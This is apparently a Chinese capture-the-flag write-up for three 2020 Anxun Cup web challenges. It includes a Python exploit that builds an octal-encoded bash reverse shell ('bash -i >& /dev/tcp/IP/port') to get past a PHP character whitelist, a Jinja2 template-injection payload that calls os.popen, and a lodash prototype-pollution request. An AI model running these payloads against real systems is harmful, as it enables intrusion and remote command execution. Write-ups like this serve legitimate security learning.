安洵杯2020

前言

之前报了名,但是没时间打(有时间也是被打),现在补上。。。

官方WriteUp

题目地址

Web-Bash-Vino0o0o

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0');
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

需要使用括号内的字符命令执行,参考文章34c3 CTF minbashmaxfun writeup。分析啥的官方wp简直是保姆级,太贴心了。

贴一下exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

# def get_flag(url,payload):                          #盲注函数
#     try:
#         data = {'cmd':payload}
#         r = requests.post(url,data,timeout=1.5)
#     except:
#         return True
#     return False

# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)

Normal SSTI

这题目给的有问题啊,源码开放端口错了,Dockerfile里一些文件也缺了(source文件应该没什么东西吧)。

主页面回显try to check /test?url=xxx,直接传{{}},被ban了,尝试{%%},出现调试界面,泄露了部分源码

1
2
3
4
5
6
        return '<h1>do a real p1g</h1>'
url = request.args.get('url')
for black in black_list:
    if black in url:
        return '<h1>do a real p1g</h1>'
return render_template_string('<h1>this is your url {}</h1>'.format(url))

有黑名单,fuzz一下,ban了较多字符,如\{\{ | []等等,没事,我们有控制结构,然后emmm不会了。

官方payload:

1
2
# __globals__|__getitem__
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("whoami")|attr("read")()%}

分析一下payload:

官方文档中描述了两种分隔符的区别:

   这里有两种分隔符: {%%} 和 {{}}。
   前者用于执行诸如 for 循环 或赋值的语句,后者把表达式的结果打印到模板上。

      在本地尝试的时候发现没有print就会报出jinja2.exceptions.TemplateSyntaxError: tag name expected的错误,也就是控制结构需要一个可以运行的函数(猜测),如if、for、print,但是什么函数可以执行我不清楚hh。。。可以肯定的是,print可以执行,并且可以让控制结构拥有输出结果的能力。

      lipsum是jinja2的内置全局变量,jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__键,其他两个要逃肯定逃得出来,但是payload构造就要花点功夫了,比如0RAYS-安洵杯writeup使用普通变量构造的payload。除此之外,flask也提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键,但是这里ban掉了_,所以要用内置函数只能用lipsum了。

      attr过滤器就不用多讲了,bypass常客了。

Validator

hint1: express-validator: 6.6.0 lodash: 4.17.16

类似考点之前在XNUCA遇到过,不过由于完全不会所以直接没有去看wp,没想到又遇到了。。。

扫目录扫到/app.js/package.json,直接访问获取源码和依赖信息:

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
    extended: true
}))

let info = []

const {
    body,
    validationResult
} = require('express-validator')

middlewares = [
    body('*').trim(),
    body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
	var data = fs.readFileSync(filename)
	return data.toString()
}

app.post("/login", (req, res) => {
    console.log(req.body)
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }

    if (req.body.password == "D0g3_Yes!!!"){
        console.log(info.system_open)
        if (info.system_open == "yes"){
            const flag = readFile("/flag")
            return res.status(200).send(flag)
        }else{
            return res.status(400).send("The login is successful, but the system is under test and not open...")
        }
    }else{
        return res.status(400).send("Login Fail, Password Wrong!")
    }
})

app.get("/", (req, res) => {
    const login_html = readFile(path.join(__dirname, "login.html"))
    return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
    console.log(`server listening on ${port}`)
})

定位回显flag的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (req.body.password == "D0g3_Yes!!!"){
    console.log(info.system_open)
    if (info.system_open == "yes"){
        const flag = readFile("/flag")
        return res.status(200).send(flag)
    }else{
        return res.status(400).send("The login is successful, but the system is under test and not open...")
    }
}else{
    return res.status(400).send("Login Fail, Password Wrong!")
}

回显flag条件:

  • password == "D0g3_Yes!!!"
  • info.system_open == "yes"

污染的原理跟一遍官方wp就差不多明白了(其实还是不明白)

exp

1
2
3
4
5
6
7
8
import requests as req
target = 'http://IP/login'
data = {
    'password': "D0g3_Yes!!!",
    "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "no"
}
res = req.post(url=target, json=data)
print(res.text)